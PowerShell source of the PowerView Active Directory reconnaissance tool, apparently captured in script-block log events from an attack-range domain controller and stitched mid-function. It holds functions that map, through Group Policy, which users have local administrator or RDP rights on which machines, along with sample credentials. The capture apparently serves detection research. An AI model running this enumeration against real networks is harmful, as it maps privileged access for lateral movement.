$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
$GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}
}
}
function Get-DomainGPOComputerLocalGroupMapping {
<#
.SYNOPSIS
Takes a computer (or GPO) object and determines what users/groups are in the specified
local group for the machine through GPO correlation.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup
.DESCRIPTION
This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
are in the specified local group for a target machine through GPO correlation.
If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
determine the OU the computer is a part of. Then resolve the computer's site name with
Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
each resulting GPO group, resolve the resulting user/group name to a full AD object and
return the results. This will return the domain objects that are members of the specified
-LocalGroup for the given computer.
Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
localgroup specifications.
.PARAMETER ComputerIdentity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for.
.PARAMETER OUIdentity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.
.PARAMETER LocalGroup
The local group to check access against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
Finds users who have local admin rights over WINDOWS3 through GPO correlation.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
Finds users who have RDP rights over WINDOWS4 through GPO correlation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
.OUTPUTS
PowerView.GGPOComputerLocalGroupMember
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GGPOComputerLocalGroupMember')]
[CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
Param(
[Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
[String]
$ComputerIdentity,
[Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
[Alias('OU')]
[String]
$OUIdentity,
[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['ComputerIdentity']) {
$Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname'
if (-not $Computers) {
throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name."
}
ForEach ($Computer in $Computers) {
$GPOGuids = @()
# extract any GPOs linked to this computer's OU through gpLink
$DN = $Computer.distinguishedname
$OUIndex = $DN.IndexOf('OU=')
if ($OUIndex -gt 0) {
$OUName = $DN.SubString($OUIndex)
}
if ($OUName) {
$GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
}
# extract any GPOs linked to this computer's site through gpLink
Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
$ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName
if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
$GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
}
# process any GPO local group settings from the GPO GUID set
$GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object {
$GPOGroup = $_
if($GPOGroup.GroupMembers) {
$GPOMembers = $GPOGroup.GroupMembers
}
else {
$GPOMembers = $GPOGroup.GroupSID
}
$GPOMembers | ForEach-Object {
$Object = Get-DomainObject @CommonArguments -Identity $_
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOComputerLocalGroupMember = New-Object PSObject
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
$GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember')
$GPOComputerLocalGroupMember
}
}
}
}
}
}
function Get-DomainPolicyData {
<#
.SYNOPSIS
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID
.DESCRIPTION
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller using Get-DomainGPO.
.PARAMETER Domain
The domain to query for default policies, defaults to the current domain.
.PARAMETER Policy
Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies.
Otherwise queries for the particular GPO name or GUID.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainPolicyData
Returns the default domain policy for the current domain.
.EXAMPLE
Get-DomainPolicyData -Domain dev.testlab.local
Returns the default domain policy for the dev.testlab.local domain.
.EXAMPLE
Get-DomainGPO | Get-DomainPolicy
Parses any GptTmpl.infs found for any policies in the current domain.
.EXAMPLE
Get-DomainPolicyData -Policy DC -Domain dev.testlab.local
Returns the policy for the dev.testlab.local domain controller.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainPolicyData -Credential $Cred
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Source', 'Name')]
[String]
$Policy = 'Domain',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ConvertArguments = @{}
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$ConvertArguments['Domain'] = $Domain
}
if ($Policy -eq 'All') {
$SearcherArguments['Identity'] = '*'
}
elseif ($Policy -eq 'Domain') {
e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122629Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2844, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$ResolveMembersToSIDs,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ConvertArguments = @{}
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainGPO @SearcherArguments | ForEach-Object {
$GPOdisplayName = $_.displayname
$GPOname = $_.name
$GPOPath = $_.gpcfilesyspath
$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
$Inf = Get-GptTmpl @ParseArgs
if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
$Memberships = @{}
# parse the members/memberof fields for each entry
ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
$Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
# extract out ALL members
$MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
if ($PSBoundParameters['ResolveMembersToSIDs']) {
# if the resulting member is username and not a SID, attempt to resolve it
$GroupMembers = @()
ForEach ($Member in $MembershipValue) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
$ConvertToArguments = @{'ObjectName' = $Member}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID @ConvertToArguments
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$MembershipValue = $GroupMembers
}
if (-not $Memberships[$Group]) {
$Memberships[$Group] = @{}
}
if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
$Memberships[$Group].Add($Relation, $MembershipValue)
}
ForEach ($Membership in $Memberships.GetEnumerator()) {
if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
# if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
$GroupSID = $Membership.Key.Trim('*')
if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
$GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
}
else {
$GroupName = $False
}
}
else {
$GroupName = $Membership.Key
if ($GroupName -and ($GroupName.Trim() -ne '')) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
elseif ($GroupName.Trim() -ne '') {
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$GroupSID = ConvertTo-SID @ConvertToArguments
}
else {
$GroupSID = $Null
}
}
}
$GPOGroup = New-Object PSObject
$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
$GPOGroup | Add-Member Noteproperty 'Filters' $Null
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
$GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$GPOGroup
}
}
# now try to the parse group policy preferences file (Groups.xml) if it exists
$ParseArgs = @{
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
}
Get-GroupsXML @ParseArgs | ForEach-Object {
if ($PSBoundParameters['ResolveMembersToSIDs']) {
$GroupMembers = @()
ForEach ($Member in $_.GroupMembers) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
# if the resulting member is username and not a SID, attempt to resolve it
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$_.GroupMembers = $GroupMembers
}
$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$_ | Add-Member Noteproperty 'GPOName' $GPOName
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$_
}
}
}
}
function Get-DomainGPOUserLocalGroupMapping {
<#
.SYNOPSIS
Enumerates the machines where a specific domain user/group is a member of a specific
local group, all through GPO correlation. If no user/group is specified, all
discoverable mappings are returned.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup
.DESCRIPTION
Takes a user/group name and optional domain, and determines the computers in the domain
the user/group has local admin (or RDP) rights to.
It does this by:
1. resolving the user/group to its proper SID
2. enumerating all groups the user/group is a current part of
and extracting all target SIDs to build a target SID list
3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
Get-DomainGPOLocalGroup
4. matching the target SID list to the queried GPO SID list
to enumerate all GPO the user is effectively applied with
5. enumerating all OUs and sites and applicable GPO GUIs are
applied to through gplink enumerating
6. querying for all computers under the given OUs or sites
If no user/group is specified, all user/group -> machine mappings discovered through
GPO relationships are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the user/group to identity GPO local group mappings for.
.PARAMETER LocalGroup
The local group to check access against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping
Find all user/group -> machine relationships where the user/group is a member
of the local administrators group on target machines.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
Find all computers that dfm user has local administrator rights to in
the dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOUserLocalGroupMapping -Credential $Cred
.OUTPUTS
PowerView.GPOLocalGroupMapping
A custom PSObject containing any target identity information and what local
group memberships they're a part of through GPO correlation.
.LINK
http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOUserLocalGroupMapping')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,
[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
$TargetSIDs = @()
if ($PSBoundParameters['Identity']) {
$TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid
$TargetObjectSID = $TargetSIDs
if (-not $TargetSIDs) {
Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'"
}
}
else {
# no filtering/match all
$TargetSIDs = @('*')
}
if ($LocalGroup -match 'S-1-5') {
$TargetLocalSID = $LocalGroup
}
elseif ($LocalGroup -match 'Admin') {
$TargetLocalSID = 'S-1-5-32-544'
}
else {
# RDP
$TargetLocalSID = 'S-1-5-32-555'
}
if ($TargetSIDs[0] -ne '*') {
ForEach ($TargetSid in $TargetSids) {
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'"
$TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
}
}
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID"
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs"
$GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object {
$GPOgroup = $_
# if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID
if ($GPOgroup.GroupSID -match $TargetLocalSID) {
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
$GPOgroup
}
}
}
# if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
$GPOgroup
}
}
} | Sort-Object -Property GPOName -Unique
$GPOgroups | Where-Object {$_} | ForEach-Object {
$GPOname = $_.GPODisplayName
$GPOguid = $_.GPOName
$GPOPath = $_.GPOPath
$GPOType = $_.GPOType
if ($_.GroupMembers) {
$GPOMembers = $_.GroupMembers
}
else {
$GPOMembers = $_.Groe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122628Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2744ew-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
